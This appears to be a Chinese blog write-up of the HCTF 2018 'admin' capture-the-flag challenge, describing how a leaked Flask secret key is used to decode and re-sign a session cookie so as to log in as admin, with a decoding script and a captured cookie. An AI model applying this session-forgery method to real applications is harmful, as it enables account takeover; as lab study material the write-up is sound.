[HCTF 2018]admin 1

< 文章中有有关flask session 文章 需要认真读一下>

1.信息搜集

由题意,注册admin 用户,回显

The username has been registered

猜测需要去伪造admin身份 ,但是这里并没有获取到实质性的信息,所以查看源码(这里自己还考虑的源码泄露,,,但是并没效果)

非admin 用户登录源码内容(这证明猜想没有问题)

然后在更改密码< change password >处发现提示,,,访问网址(flask session 伪造)

https://github.com/woadsl1234/hctf_flask/                  //这里刚开始并没有发现一些信息

网上搜了一篇flask 框架 身份认证的文章

然后了解到flask 框架是通过sessio n 进行认证的, Flask的session使用

这里在github 上找到了config.py ,里面存在我们想要的 密钥 ckj123

2.伪造flask session

这里其实在user.sql 文件中也发现了admin 和 “ ckj123 ” 的身影,不过当时并不知道这是密钥,唉

但是有了密钥之后我们并不知道如何去进行伪造,,,emmm

好吧肯定是要搜一下如何进行flask session 伪造的(但这个就是 wp ,只能说极限了)

大神里面也是用了一个解密脚本的(对session 进行解密)

唉,怎末脚本都是python ,要去学python了 !!!

加密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1) decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception') if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

还有一种就是 (没用出来)

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')

然后就是抓包获取session (change password 的包 ,用于伪造admin)

Cookie: session=.eJxNkE1rwkAQhv9KmbOHRPQieCisBoWZkHRj2L1IamP2I2shKuqI_72rhdLz-8wz78wdtvuhPRqYnYZzO4Kt_YLZHd4-YQZalL3iRUquS0hqp6VnErsxZSrBsTaKdxMU1KMwXkUGa_J5hqzF0qpapXm2uNK4SNFVU5SRldUE3SpBXlqSmz6XmGhnegrFhbhiFB0T9yGXS6PF6krSWJ3FmVB6xT728BcKZR-dT9ezR9y_YuX8HB4j2B2H_fb07dvDvxM8q3ptI5rm4v2mwtpiVty03DgSpdc1GayRKaumUXtDVxoq5i-dDU3X_pnIrdVH95scmhADaJoGRnA-tsPra5Am8PgBTxZsRQ.Y1lA2Q.CIgpWeki-z_V1Inj2M4KE-gD70A

使用脚本解密

{'_fresh': True, '_id': b'd4ec1568456ce934764f43fac7803e08db841cd8c3d1baf58a17d525917815822431b55e934f8e6d075308379f91ad2158bde82ddc956906de7d81564f8023b9', 'csrf_token': b'd93abb4f5802bbb0d2e5c44deca1c34e97d224a5', 'image': b'62XJ', 'name': 'aaa', 'user_id': '10'}

把name 改成admin

加密脚本

https://github.com/noraj/flask-session-cookie-manager

//flask_session_cookie_manager3.py

完成伪造admin ,发包,拿下,

[HCTF 2018]admin 1的更多相关文章

  1. BUUCTF | [HCTF 2018]admin

    首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“, ...

  2. [HCTF 2018]admin

    前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...

  3. [HCTF 2018]admin wp

    首先打开页面,查看源码 you are not admin考虑是否为需要登录 后发现右上方有个登录 考虑密码爆破,用户名为admin,密码未知 摔进burpsuite后爆破 后得到密码为123 登录得 ...

  4. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  5. 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

    攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...

  6. BUUCTF-[HCTF 2018]admin(Unicode欺骗&伪造session)

    目录 方法一:Unicode欺骗 方法二:伪造session 参考文章 记一道flask下session伪造的题. 方法一:Unicode欺骗 拿到题目f12提示you are not admin,显 ...

  7. [HCTF 2018]WarmUp

    靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php     highlight_file(__FILE__) ...

  8. [BUUOJ记录] [HCTF 2018]WarmUp

    BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...

  9. [HCTF 2018]WarmUp 1

    主页面是一个滑稽 得到source.php 观看源码,提示source.php 访问看到源码 <?php highlight_file(__FILE__); class emmm { publi ...

  10. 刷题[HCTF 2018]WarmUp

    解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...

随机推荐

  1. 写给rust初学者的教程(三):闭包、智能指针、并发工具

    这系列RUST教程一共三篇.这是最后一篇,介绍RUST语言的进阶概念.主要有闭包.智能指针.并发工具. 上一篇:写给rust初学者的教程(二):所有权.生存期 closure "闭包&quo ...

  2. ubuntu16 安装 python-networkmanager 失败

    前言 ubuntu16 安装 python-networkmanager 失败 解决方案 sudo apt-get install libdbus-1-dev sudo apt-get install ...

  3. SpringBoot可视化接口开发工具magic-api

    magic-api简介 magic-api是一个基于Java的接口快速开发框架,编写接口将通过magic-api提供的UI界面完成,自动映射为HTTP接口,无需定义Controller.Service ...

  4. AT_arc041_b 题解

    洛谷链接&Atcoder 链接 本篇题解为此题较简单做法及较少码量,并且码风优良,请放心阅读. 题目简述 给定一个 \(N \times M\) 的矩阵,此矩阵的每一个元素都向上.下.左.右 ...

  5. Django 文件导入实现方案

    Django文件导入实现方案 by:授客 QQ:1033553122 开发环境   Win 10   Python 3.5.4   Django-2.0.13.tar.gz 官方下载地址: https ...

  6. Python版WGCNA分析和蛋白质相互作用PPI分析教程

    在前面的教程中,我们介绍了使用omicverse完成基本的RNA-seq的分析流程,在本节教程中,我们将介绍如何使用omicverse完成加权基因共表达网络分析WGCNA以及蛋白质相互作用PPI分析. ...

  7. Appium Appium Python API 中文版

    1.contextscontexts(self): Returns the contexts within the current session. 返回当前会话中的上下文,使用后可以识别H5页面的控 ...

  8. Java SE 文件上传和文件下载的底层原理

    1. Java SE 文件上传和文件下载的底层原理 @ 目录 1. Java SE 文件上传和文件下载的底层原理 2. 文件上传 2.1 文件上传应用实例 2.2 文件上传注意事项和细节 3. 文件下 ...

  9. Mac端MySQL安装教程

    Mac端: 1.安装 **        首先进入官网:**https://dev.mysql.com/downloads/mysql/ 根据自身情况是M系列芯片(ARM版)还是Intel系列芯片(x ...

  10. 硬件开发笔记(二十九):TPS54331电源设计(二):12V转3.3V和12V转4V原理图设计

    前言   电源供电电路设计很重要,为了更好的给对硬件设计有需求的人,特意将电源设计的基础过程描述出来.  紧接前一篇12V转5V的,本篇设计常用的12V转3.3V电路,不常用的12V转4V电路.   ...